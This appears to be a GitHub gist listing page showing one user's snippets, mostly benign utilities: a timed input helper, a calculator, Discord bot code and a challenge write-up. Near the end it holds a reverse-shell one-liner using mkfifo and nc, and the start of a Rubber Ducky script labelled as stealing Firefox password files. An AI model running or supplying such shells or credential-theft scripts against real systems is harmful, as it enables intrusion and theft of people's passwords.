Skip to content

Instantly share code, notes, and snippets.

@wilfreddv
wilfreddv / timedinput.py
Last active June 12, 2023 20:37
Timed input in Python for Linux systems
from contextlib import contextmanager
import signal, sys, termios, atexit, tty
class CTLSEQ:
"""
Condensed from https://github.com/wilfreddv/HB/blob/main/hbutil/hbutil/termctl.py
Define common ANSI escape
code control sequences

STB 2018 Writeup

This is a write-up of the 2018 STB challenge: https://github.com/securifybv/spotthebug/tree/master/STB_2018

When first opening the repository, I see two interesting files; a PHP file, and a C++ file.

The C++ file: quick overview

The C++ has a BaseCGIClass (which has no functionality), and two children classes of the BaseCGIClass. I immediately notice the std::system call in the Executor class. The Logger class seems to not have any potential side effects. In the main function, I assume the Cgicc is an interface for the CGI protocol. This means formData("encryptedData") likely returns user input. We can control this.

@wilfreddv
wilfreddv / README.md
Created December 28, 2021 12:11
RPN Calculator

rpn-calculator

Calculator for equations in the Reversed Polish Notation

Usage

$ ./main.py
//Your calculation goes here
//The output will be printed here
@wilfreddv
wilfreddv / histogram.c
Last active September 8, 2021 15:21
Print a histogram
#include <stdio.h>
#include <string.h>
#include <limits.h>
static inline unsigned _max(unsigned values[], unsigned length) {
unsigned max = 0;
for(unsigned i = 0; i < length; i++) max = max > values[i] ? max : values[i];
return max;
}
@wilfreddv
wilfreddv / config.py
Created October 18, 2020 21:25
Record and visualize keyboard and mouse
FPS = 20
#ISIZE = 1280, 720
ISIZE = 1920, 1080
TRAIL_FADE = 0.93 # 1.0 - no fade, 0.0 - immediate fade
GAMMA = 0.1
RADIUS_F = 30
DEVIATION = 45
@wilfreddv
wilfreddv / oneliner.py
Created August 7, 2019 12:25
Discord bot the says 'pong' when you say 'ping'
(lambda on_msg=__import__("asyncio").coroutine(lambda msg: msg.channel.send(f"pong") if not msg.author.bot and msg.content == "ping" else None),bot=__import__("discord.ext.commands").ext.commands.Bot(command_prefix=""):exec("on_msg.__name__='on_message'") or (bot.event(on_msg) and bot.run( TOKEN )))()
@wilfreddv
wilfreddv / discord_py_cookbook.md
Last active November 2, 2021 20:32
A cookbook for getting started with discord.py rewrite

This is not being maintained and might be outdated. Use at your own risk.

Cookbook for discord.py rewrite

This document contains snippets that I've used and tested. It's not meant to be an official guide, but rather a document for looking up small snippets of code. For an extensive reference on the API, please visit the official documentation.

Contents

@wilfreddv
wilfreddv / home.py
Created February 4, 2019 11:15
GUI wrapper for pytube to download YouTube video's
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'home.ui'
#
# Created by: PyQt5 UI code generator 5.5.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
@wilfreddv
wilfreddv / connector.sh
Created November 28, 2018 12:18
Python host for reverse shell (Under construction)
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f
# From: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
@wilfreddv
wilfreddv / steal_windows_firefox_passes.duck
Last active November 27, 2018 15:01
Script for Rubber Ducky that sends Firefox password files to remote computer
REM Script to steal profile data from Firefox
DEFAULT_DELAY 200
DELAY 2000
REM Open CMD
GUI r
STRING cmd
ENTER